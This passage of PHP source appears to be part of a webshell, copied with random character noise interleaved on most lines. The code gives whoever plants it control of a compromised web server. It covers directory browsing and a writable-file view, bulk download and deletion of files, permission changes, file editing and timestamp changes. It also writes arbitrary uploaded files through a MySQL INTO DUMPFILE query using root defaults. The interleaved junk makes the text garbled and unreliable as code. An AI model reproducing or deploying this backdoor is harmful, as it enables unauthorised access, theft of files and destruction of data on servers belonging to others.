  331.         // 打包下载6 _: O  s4 @0 d* ^4 d7 A
  332.         elseif($doing == 'downrar') {/ z9 T  G2 x' G) d0 X& D/ q0 O  b! [! J
  333.                 if ($dl) {' K' w$ v: I  j) U1 h7 z  D
  334.                         $dfiles='';
    % P) @% c; A) z+ n6 [
  335.                         foreach ($dl as $filepath => $value) {! j- a9 |9 G' ~4 j& }7 Y
  336.                                 $dfiles.=$filepath.',';
    - `/ T, m5 v% K" o/ Y! s
  337.                         }
    / c* x3 P3 |4 v, C' [5 S# N. ~, b
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    : l% g. G1 r+ T  D
  339.                         $dl=explode(',',$dfiles);
    ! r# R/ p, q; }4 T, }, b- |" J
  340.                         $zip=new PHPZip($dl);8 Y  G& p+ \; S% H+ u2 s$ J3 K
  341.                         $code=$zip->out;+ U% i7 s9 C& v( i" h; B' I
  342.                         header('Content-type: application/octet-stream');
    ! u3 T2 o9 {2 r4 u& [8 i. ^/ d
  343.                         header('Accept-Ranges: bytes');+ @# X- D, Q) C3 G) d( e' x
  344.                         header('Accept-Length: '.strlen($code));  t* W8 Y- R' V) t) K; {
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
      z4 _( \% [# T) Y6 f6 j
  346.                         echo $code;& {1 W/ o2 W, K4 c+ j
  347.                         exit;
    " S4 {: O0 y$ F- e! g# H2 O7 g4 N: }
  348.                 } else {
    8 \0 p- l( i; N+ i' V7 u
  349.                         m('Please select file(s)');
    / o7 p% n+ k( |5 h, G
  350.                 }& X+ [! P+ a, f2 X) U1 {
  351.         }
    3 |& Z, h. j: u% j- {

  352. - D0 u4 _" K  N( T; A
  353.         // 批量删除文件4 U. ~$ F% J3 {  n4 P
  354.         elseif($doing == 'delfiles') {
    1 _  S& k7 q$ j* X
  355.                 if ($dl) {5 T# R- ^/ W& r
  356.                         $dfiles='';
    5 \' P# K% W$ ], A, v2 k& L
  357.                         $succ = $fail = 0;
    1 b. X' U9 P. G! ?
  358.                         foreach ($dl as $filepath => $value) {' c. [  R$ q  h/ P' s: N! S% O1 |
  359.                                 if (@unlink($filepath)) {
    - m$ N, j2 L0 o0 A0 {+ ~" Q
  360.                                         $succ++;3 P( n+ O$ @" K' O
  361.                                 } else {
    5 n" ^  U# ^; X8 t) I
  362.                                         $fail++;# z  ^& p2 s9 E0 D1 I1 [7 o& i
  363.                                 }
    & G3 f! n. E# v  Q" {$ G
  364.                         }1 {3 p8 R8 j& H0 p/ V: P# j
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);9 g' x* A7 o8 Z
  366.                 } else {, h: Q' G# E5 E& W: b3 `4 u
  367.                         m('Please select file(s)');
    3 ]1 Y. t9 I. o. \# \) h
  368.                 }6 h9 R! j5 s" F1 `; @0 t
  369.         }  H1 i8 e1 T2 |
  370. ) V# d- i1 y$ Y
  371.         //操作完毕6 a- [, l$ R4 S$ h1 T
  372.         formhead(array('name'=>'createdir'));; X: ^' w' Q$ Y2 M- q! L
  373.         makehide('newdirname');8 F' C+ h( p' L: c6 z1 Z+ N9 J
  374.         makehide('dir',$nowpath);
    5 c) D* T' |8 o# T! V; X
  375.         formfoot();; [+ R0 ?: r0 J7 U. ^0 u
  376.         formhead(array('name'=>'fileperm'));
    ) y9 |0 y3 G1 n) V% _- X. M
  377.         makehide('newperm');5 X$ y1 f9 Z% ~$ R
  378.         makehide('pfile');7 p: N$ K- ]' S- [
  379.         makehide('dir',$nowpath);
    , ?' {$ {/ G% B. I% t2 h: [
  380.         formfoot();
    , ?8 U& [1 u9 |( a* |
  381.         formhead(array('name'=>'copyfile'));% G. ?! b  [1 K0 ~
  382.         makehide('sname');
    & A' G) s5 K+ Q% _# q
  383.         makehide('tofile');9 E: {- O, h. t: a
  384.         makehide('dir',$nowpath);
    + E4 e, L# ?5 \/ C0 Z, Y0 j5 G
  385.         formfoot();! O' k- t4 J/ w/ w0 e3 D3 f/ g
  386.         formhead(array('name'=>'rename'));
    " y* M# }: n  M6 S+ u
  387.         makehide('oldname');# j: O; x6 C4 q% K5 r" e, \) W+ ^
  388.         makehide('newfilename');3 e$ H* d8 p4 C' N6 e
  389.         makehide('dir',$nowpath);
    & f' ^, d* [- {$ [# F: `
  390.         formfoot();) p4 {4 ^, V; `; c. H$ J
  391.         formhead(array('name'=>'fileopform'));
    ; g5 l& y9 F8 Q6 l* d  T; ^- b7 c
  392.         makehide('action');
    5 L2 i4 z+ B3 Q9 E5 z: h
  393.         makehide('opfile');. m4 l2 z2 }( R0 L/ e, R
  394.         makehide('dir');# Q# F  t2 x) q& }! w2 f
  395.         formfoot();
    / }" e4 r' c# U+ h
  396.   Q) O( m/ Z! `' V! t
  397.         $free = @disk_free_space($nowpath);
    2 g& }3 q; t9 I' p
  398.         !$free && $free = 0;4 D9 j" F! z" L6 H# l% H$ V
  399.         $all = @disk_total_space($nowpath);2 t! P; x7 P. C
  400.         !$all && $all = 0;
    ; g! S4 R# E* f* a$ S* x0 U) H
  401.         $used = $all-$free;8 I5 L  H; b3 O5 d3 N/ ?
  402.         $used_percent = @round(100/($all/$free),2);
      r9 x8 w0 A0 A5 U7 |" d* ?
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');5 X& G+ ?. \0 J" {) g( Q
  404. * G  Y+ m" A2 c1 j$ ]& p- o. Q
  405. ?>
    - s: t8 B- v. c! D0 X5 }
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    ) M6 h+ U; Q' \  U9 |
  407.   <form action="" method="post" id="godir" name="godir">
    $ A/ Q8 k6 r2 J
  408.   <tr>
    . p0 U+ l0 Y: _& I
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    - f2 e) _1 l- g" b/ p, W0 J4 F% l, a) \
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    9 l. S. S) u" A0 c% }/ S& T" q  Q2 i: B
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
    $ ]4 s, D7 f; y  @2 F6 O- V
  412.   </tr>
    ' w* I7 ^& {# i
  413.   </form>' c# \, v4 ~; |2 N7 l# n' f/ z
  414. </table>
    + C- @$ g& f8 i5 C$ W* m
  415. <script type="text/javascript">
    4 u0 [1 ~5 K' M# C, g9 Y! p. U
  416. function createdir(){
    : f5 ^; r8 r3 o2 B4 f
  417.         var newdirname;
    $ X; Y1 y; g+ s
  418.         newdirname = prompt('Please input the directory name:', '');
    : p0 m4 f% J- `$ {8 F
  419.         if (!newdirname) return;
    , z+ Q2 r% d- A& B3 a! O
  420.         $('createdir').newdirname.value=newdirname;
    2 N5 {1 V% C- M4 ?- u
  421.         $('createdir').submit();. |( n# e: u) @9 j
  422. }( X' S' I) H0 [$ V9 T9 A% O1 d
  423. function fileperm(pfile){
    * }2 D/ ^2 c3 g5 F! j$ m9 I' h
  424.         var newperm;! U* |( B* `8 e$ ?, q8 }+ U  r
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');( r& Q" e+ z6 r; C" @0 D6 U! q
  426.         if (!newperm) return;& i) I* s: L& N9 o$ H% X" V( I6 s
  427.         $('fileperm').newperm.value=newperm;* D7 r- S+ Q8 P- @& H
  428.         $('fileperm').pfile.value=pfile;$ X" W6 V/ l: K
  429.         $('fileperm').submit();5 S  r5 o0 `7 o& F1 q% Z
  430. }
    1 l' h" I9 E! O- B' c
  431. function copyfile(sname){- r( k0 z9 y; z+ z, o+ o& }
  432.         var tofile;
    ! s  L6 H& g) d& R1 @' z* v. L* _
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');! D3 a* j/ U, A' Y, X) e6 U
  434.         if (!tofile) return;( A" Z# X0 Q  l$ z# q- `2 Z! Z
  435.         $('copyfile').tofile.value=tofile;
    / \4 L3 z  I9 J" _5 }; W1 B, v3 t
  436.         $('copyfile').sname.value=sname;
    % {( c# d: ]0 A* b- [2 Z
  437.         $('copyfile').submit();
    4 V; `& B8 {5 R
  438. }
    " Z: g$ ^: [# a8 h
  439. function rename(oldname){
    : z8 A. s: ~" O
  440.         var newfilename;
    # t; b6 t$ D2 y, ~+ [
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');$ A$ h' {$ H% _# M& |$ G  q% h
  442.         if (!newfilename) return;
    5 o: p+ p7 b2 t1 E  ?) O& G$ Q9 O
  443.         $('rename').newfilename.value=newfilename;
    9 ?/ [# n1 r8 ^3 I' ~
  444.         $('rename').oldname.value=oldname;
    + n0 z4 @! A7 u1 b9 k% N* r
  445.         $('rename').submit();
    ' A( g' v# V7 `8 s! F  Q; u
  446. }
    ' n6 S- v$ q2 @- _- O: I  o6 _' |
  447. function dofile(doing,thefile,m){
    1 D9 w  M9 e4 m: W! i$ k
  448.         if (m && !confirm(m)) {0 b! \! c  z- x% Y
  449.                 return;( R0 r7 v& k7 j' |7 j9 J
  450.         }
    3 F' t! P0 @9 C' _
  451.         $('filelist').doing.value=doing;
    7 T' T' [( K, O* ?
  452.         if (thefile){
    & E  Q9 Z1 U& t3 Y* J4 H
  453.                 $('filelist').thefile.value=thefile;
    - _; H4 f  d2 K
  454.         }7 c1 W0 h1 P; z+ U+ p
  455.         $('filelist').submit();" ~1 N# s2 r; j- J/ p
  456. }
    9 Z1 r% a/ b0 ]/ s0 d
  457. function createfile(nowpath){. }6 ~- h3 u# D5 W9 \
  458.         var filename;
    8 k# W# E2 j9 v' a
  459.         filename = prompt('Please input the file name:', '');8 g  A. `* b4 X( ^
  460.         if (!filename) return;( x8 D) d: Q5 A4 t
  461.         opfile('editfile',nowpath + filename,nowpath);- ~+ _2 P! W" V0 `" U
  462. }
    6 }- T& |/ T) D) D/ G9 i
  463. function opfile(action,opfile,dir){
    + l2 w& W' n9 d* v$ }6 c3 t6 n
  464.         $('fileopform').action.value=action;
    2 N9 f9 L, d& _: H  [6 w. `
  465.         $('fileopform').opfile.value=opfile;
      o  j) T1 m. K* X7 W
  466.         $('fileopform').dir.value=dir;
    - y6 b/ r! i4 C+ X$ ^$ N3 ^
  467.         $('fileopform').submit();5 ^* m' p# g1 ?) W* p8 J( m
  468. }
    ) p5 F3 I( C# h: v! d9 d. m
  469. function godir(dir,view_writable){
    5 w5 p+ U+ P; q+ q* l) j7 @  j
  470.         if (view_writable) {# @8 D" x# w* w9 K0 y
  471.                 $('godir').view_writable.value=1;
    $ d3 E& a  h% V  s
  472.         }
    1 l/ ~1 V" V" ]7 a  w: _4 z' ~3 @
  473.         $('godir').dir.value=dir;0 k2 R5 n5 h7 d! _  j  a& t
  474.         $('godir').submit();% v! `0 q9 F8 Z4 K( X
  475. }
    5 H6 R9 K3 ]8 w  q0 B
  476. </script>% O/ Z6 H+ e  q% Q; {) o0 |
  477.   <?php
    8 b8 V1 _8 \4 _$ Z" V
  478.         tbhead();
    8 d6 B/ h5 d# k; C/ V+ N
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    9 x0 l& `$ ]& r* z' b: B
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');2 }5 D2 U* `8 N+ Z, @" R
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    + K. j# I; P# \, i2 l/ |
  482.         if ($view_writable) {
    9 p9 z! ^8 ]3 G) t9 ?' I1 N! r, N
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');! D8 @: M5 S) p
  484.         } else {7 Z2 H2 v, d/ n$ K: h/ H
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    # ~$ q# I( d" V$ k/ ]- x
  486.         }
    . Q2 H/ ^3 o- c. Y7 p& I  t% r% G
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    * j+ ^# G* W$ H) I8 t, o1 s
  488.         if (IS_WIN && IS_COM) {# ?/ @( m( R4 R' u$ V9 k
  489.                 $obj = new COM('scripting.filesystemobject');( X" W2 J9 m! [4 w
  490.                 if ($obj && is_object($obj)) {  l0 p. D5 k: Q2 z; ~) o. M8 t" f
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');- k9 F1 K0 ]& \
  492.                         foreach($obj->Drives as $drive) {
    3 N3 Z/ |. q/ e! r& e8 o& Z" L' N- e3 j
  493.                                 if ($drive->DriveType == 2) {$ W! V* g) ?0 @$ m- n( }
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
    8 V9 C3 |5 {9 U: x( Z0 @* M$ x- J
  495. Free:'.sizecount($drive->FreeSpace).'
    ) n) s. r# h8 J' r9 Y
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    ' t& @( q9 j, Z  Z% s- X
  497.                                 } else {
    . M) H" l: G: m1 M" @
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    ' p% d& n# K2 X8 l2 S
  499.                                 }
    $ E7 ?8 C$ m: F. O
  500.                         }: d& c" N4 C3 K1 }( h
  501.                 }' o! o) n& E: m3 M
  502.         }
    ' P3 Q6 m. {* m" x

  503. . ]% T3 q( P* @' Z8 T' W! n
  504.         p('</td></tr></form>');
    5 a; V. a$ _; _- Y# y* v
  505.   i3 M. U2 n4 a* }% S& Q
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    3 i6 E$ D+ P; n) s: B
  507. ) |/ P% Y7 l: u) ^* V
  508.         //查看所有可写文件和目录
    4 p! r% K$ p; t
  509.         $dirdata=array();$ P2 I. Z2 ~9 F4 P2 t2 O; }
  510.         $filedata=array();5 Q9 {4 |  d: p
  511. # H7 i" v* l  }. p  w( M0 S
  512.         if ($view_writable) {( q/ }) o/ R# L3 o. U) Z2 R7 F' m
  513.                 $dirdata = GetList($nowpath);
    - _% U& F4 s# ]6 o3 d
  514.         } else {
    5 o6 O, W1 B/ ~2 y8 V
  515.                 // 目录列表
    ; }& k9 ~4 G' Y! c! Q# o
  516.                 $dirs=@opendir($dir);' q; U9 z! K3 \  t6 a
  517.                 while ($file=@readdir($dirs)) {- C# n9 d* d5 v! b; ~
  518.                         $filepath=$nowpath.$file;
    4 s# s9 w5 w6 ^3 _6 v( V( V
  519.                         if(@is_dir($filepath)){
    " a- ^8 f5 I& K3 i# n. L: P( r
  520.                                 $dirdb['filename']=$file;/ T0 `. {. e' ?! a- w( |
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));+ _, j; j, ~% i: n3 ?/ j
  522.                                 $dirdb['dirchmod']=getChmod($filepath);
    ( [9 Y8 _- r! H) m' `' B* Z
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    $ F9 b! q: n- y$ \6 O3 l
  524.                                 $dirdb['fileowner']=getUser($filepath);1 p+ q, K0 @6 i: S% ?
  525.                                 $dirdb['dirlink']=$nowpath;' I3 n+ m9 ?& l* u( r$ y
  526.                                 $dirdb['server_link']=$filepath;7 {9 f. G. h9 U/ P
  527.                                 $dirdb['client_link']=ue($filepath);  N8 T5 V: R% Y4 ~! H& J$ a
  528.                                 $dirdata[]=$dirdb;5 t; F! [1 n# K
  529.                         } else {               
    9 V' ~0 X: X- r# Z1 g5 \
  530.                                 $filedb['filename']=$file;4 Y5 ~" W5 }7 ^6 l0 W4 Q% r
  531.                                 $filedb['size']=sizecount(@filesize($filepath));' `5 A* P0 a3 n1 ?
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    & o; [, t* L9 n) t1 S; m2 b
  533.                                 $filedb['filechmod']=getChmod($filepath);
    2 w/ i: f  U$ \( f& W4 u
  534.                                 $filedb['fileperm']=getPerms($filepath);
    ( {. L6 \7 c# u  W$ l1 ]5 n' \
  535.                                 $filedb['fileowner']=getUser($filepath);5 L  R2 u/ k( r! o/ X
  536.                                 $filedb['dirlink']=$nowpath;
    7 \* @( x& F6 \" d4 s) f
  537.                                 $filedb['server_link']=$filepath;
    5 T9 T( c) q. [* N
  538.                                 $filedb['client_link']=ue($filepath);
    5 C7 ^% @3 i9 _; d/ r
  539.                                 $filedata[]=$filedb;
    ' Q& l: X; E! E* h' h2 p! @' C6 W
  540.                         }. {" W  e) P( ], t# q, J3 Q$ L  @" s
  541.                 }// while
    " Y# s9 n, S& m* J. r* e& A0 p
  542.                 unset($dirdb);. [, h9 ^! `" {- N$ W1 P
  543.                 unset($filedb);' Z) J, E) q8 p$ a! c  c) k  u
  544.                 @closedir($dirs);  E4 M1 a4 v# G" U# Z  e. i6 ~$ W2 b. P
  545.         }% [: B* ^: _- ^& a6 A7 @( s
  546.         @sort($dirdata);' N# q2 B4 E! {1 b
  547.         @sort($filedata);
    7 ]$ x( w4 f, [; i; A2 l
  548.         $dir_i = '0';
    4 D2 n. G0 X8 |/ R! j! Y# x6 s
  549.         foreach($dirdata as $key => $dirdb){
    . A4 o/ N' `0 s+ z+ Z
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {1 N! K  G: i" Z9 x4 a
  551.                         $thisbg = bg();8 g: x- b. m6 q7 y' k0 f  L
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    9 \' f# C7 l* B% b
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');/ C% |+ v: C7 Y1 k  n
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
    & Y& s% X3 n% Y) o
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');! {! |( f, B- @: J5 a
  556.                         p('<td nowrap>--</td>');
    & R+ w1 o$ y$ P' [3 ]3 w9 o. i
  557.                         p('<td nowrap>');
      c( J# R5 T3 n9 w7 Z
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    . O7 ~% B5 ^) p$ ]4 Q$ t
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');& D9 P8 Z8 N  r% b$ ~" l
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    : b: l0 O. j( n6 y. ~
  561.                         p('</tr>');( R! S. y" J1 i9 t
  562.                         $dir_i++;
    8 N3 h% G2 `4 g, R8 O( c1 W
  563.                 } else {
    2 j. \+ i9 `8 f' f
  564.                         if($dirdb['filename']=='..') {
    ! G* V" A4 L2 }, T$ j1 M2 h
  565.                                 p('<tr class='.bg().'>');
    1 Q/ C" a& G8 g! {; Z& r  R
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
    - m* o& L$ G" e4 X, z
  567.                                 p('</tr>');1 g  ~  j( ?% ]6 E
  568.                         }
    5 D" v; x: F0 T6 U* J
  569.                 }
    4 }1 Z0 ^7 \- b: n9 v9 l9 q. u: Q
  570.         }
    # f) l( d: m* D( a3 O8 v

  571. ; H' C( K4 ?/ L
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
    7 M  P! |2 u$ t+ k6 K# z
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');+ v' p  I/ k4 h5 {
  574.         makehide('action','file');
      t* }% a0 t! m
  575.         makehide('thefile');
    5 l# l& F( y" _" H% ]
  576.         makehide('doing');8 K+ v8 c, W3 h' i
  577.         makehide('dir',$nowpath);: b) s% u1 e) S% b- _2 N6 x
  578.         $file_i = '0';* {5 I+ F3 x! \( a
  579.         foreach($filedata as $key => $filedb){! r; }5 r! w+ u; x
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {" W5 R5 ]0 o2 `! e4 l' K
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);7 p) r3 z( {( J
  582.                         $thisbg = bg();0 F1 V$ Y2 K  O
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    4 P& X, a  i+ g1 n) u
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
    - a2 f* C( ]% p: S
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');% g- T- F$ d  o( n3 Q9 _! |/ d
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
    * V% Q0 b7 a$ ?" C. x: A+ x
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');! U; j' g$ v& X6 @0 r; w+ ?
  588.                         p('<td nowrap>');
    # Q( r- E9 _9 L# r$ u, N) S8 O
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    , M& q5 W" \. x$ Z( Q" `
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');4 C: Y: p) f' b9 d7 a5 I: g
  591.                         p('<td nowrap>');
    ' [& r6 D3 Q, d0 X
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');$ e, V4 P( i! n0 Q- c1 q5 P; _7 a" b
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');+ r0 M# x2 N- G  e. V
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
    & N3 m- ~' j3 T7 n
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');' B1 u) w+ {. Q5 |9 Y
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');4 t$ T' Q. G% p
  597.                         p('</td></tr>');  t+ ~. u% i' [
  598.                         $file_i++;
    + F2 z7 T2 D. \
  599.                 }( S1 [1 w. X5 N4 j  v% h
  600.         }. a4 K" A0 {2 t' P% X
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');- o/ j' a6 k  ~" J
  602.         p('</form></table>');
    5 x7 _* g; S. k* E, }) h4 g# X% p
  603. }// end dir6 O) }7 j  G$ Q$ _+ ]

  604. 5 ^8 P, d  \- y- [+ s
  605. elseif ($action == 'sqlfile') {
    9 K$ H, U. Q& X. W+ Z
  606.         if($doing=="mysqlupload"){& T+ q( _* F# r" ~: u
  607.                 $file = $_FILES['uploadfile'];9 {# \  y7 w0 u8 t3 |
  608.                 $filename = $file['tmp_name'];
    . Z& T% w8 F% Z; u6 L
  609.                 if (file_exists($savepath)) {
    : P5 z8 M& T7 \$ U: `: b, t
  610.                         m('The goal file has already existed');
    + |" P9 ]- F3 }% g" w1 L3 ]- d
  611.                 } else {
    ! @7 _1 d* w* c7 r
  612.                         if(!$filename) {
    9 Q& V9 R5 p: N2 G0 Z8 P9 w
  613.                                 m('Please choose a file');
    4 |- o& j8 n. P1 ?5 X
  614.                         } else {
    " d& v. U  r3 }
  615.                                 $fp=@fopen($filename,'r');1 J, f! g6 y9 K. s( R
  616.                                 $contents=@fread($fp, filesize($filename));5 a' L8 N2 k+ `7 n2 E
  617.                                 @fclose($fp);% I' |& Q; _. `. ?4 O! z
  618.                                 $contents = bin2hex($contents);
    . Y$ T5 R0 Y( A( R
  619.                                 if(!$upname) $upname = $file['name'];
    + m, |- W: W% ]: X& w& U" b- g+ G. h
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);0 B( ]5 o" G! {# D
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
    ' Z. }6 |$ b% j/ V
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());! k; ]7 W! H, e! \2 V
  623.                         }
    : a/ v* L4 r1 i  D
  624.                 }5 G) e! H( o9 Q2 i* C" q4 F7 y/ s# @
  625.         }
    4 V! y) @8 s+ q/ U, `$ U; q  e
  626. ?>/ S+ o- e; i5 m  |$ b& c
  627. <script type="text/javascript">) o9 K# X5 _3 l, B) \) r
  628. function mysqlfile(doing){
    ) A- V  M$ E# Q" S
  629.         if(!doing) return;& I3 |' C$ t* \5 U8 z" b( m
  630.         $('doing').value=doing;
    4 Y& ^  J! L: y! o+ y
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    ' d7 i: |0 u0 C9 \# A3 }
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    * Z4 S3 j) K  K6 [" K! w: A
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;/ o* J' }; p% b2 x0 X3 l$ ~$ b
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;! M! S6 |8 T- j. k- H
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;1 d7 i* B" Z) s' P7 y. Y) x
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
    6 n2 e- v  y  f% v; R5 A
  637.         $('mysqlfile').submit();$ r/ `. X2 [0 C! c0 q
  638. }! s" P( O" J* l& `$ `6 a) s
  639. </script>
    3 }8 A; L( M5 a. O: A
  640. <?php
    " R, B2 i% \' L0 S- v. y- N6 c& l
  641.         !$dbhost && $dbhost = 'localhost';
    3 f! c% V' x& {, i9 m
  642.         !$dbuser && $dbuser = 'root';) A! t4 ?& u& K; ?" f
  643.         !$dbport && $dbport = '3306';" J, B6 ~" W0 i( A
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');* M6 B' r  e3 r' K- g2 K3 C2 z
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));% ~/ A* l' B- i* |, B# r  h& R
  646.         makehide('action','sqlfile');
    : b* H1 p) C: G3 P
  647.         p('<p>');
    # j* C+ S" @. |1 i: }
  648.         p('DBHost:');
    , t; N7 _: P/ I& _0 O9 l
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));- w* Y! A) @! o$ i# W
  650.         p(':');
    $ H/ n# h6 ]1 `5 h, G6 H/ Z+ q4 ?
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));  A! p* X1 d8 I1 f. [) V
  652.         p('DBUser:');  |% e) I' A* A7 a; ?/ Q
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    5 L* V2 B; y1 C* b% z
  654.         p('DBPass:');) K4 ?4 ^6 Z! V# ~3 H: H; c( f
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    8 k# C2 m! ~' T3 B, d
  656.         p('DBName:');7 Z% C( M3 r4 z; z! d
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
    / [( D( @  ^. ]7 P" \" Y: s
  658.         p('DBCharset:');
    : r1 _/ @$ K) q0 V) S# S7 _( T' ~" G. a
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));1 t" b5 o# Z+ m) I7 r
  660.         p('</p>');' Y" H, D% ~7 s4 z! ]' H) [, r
  661.         formfoot();
    2 o" e* n! J: s& W: I. t- ^
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');/ b: A; y& u/ T: p. Y
  663.         p('<h2>Upload file</h2>');
    ; z' z1 z# L' J3 @
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');$ R: Q' l; Q* }' w2 F. i1 @+ Y' B
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    & L/ I7 g  S+ B- Q5 e
  666.         p('<h2>Download file</h2>');
    $ u7 y7 w3 F+ s5 Z, _- Q7 s% h1 f, _+ b
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');- y$ t8 G, S3 ]9 r
  668.         makehide('dbhost');2 ]+ R! }  @0 Q6 D
  669.         makehide('dbport');
    / a0 ~# [& T( P* z3 @
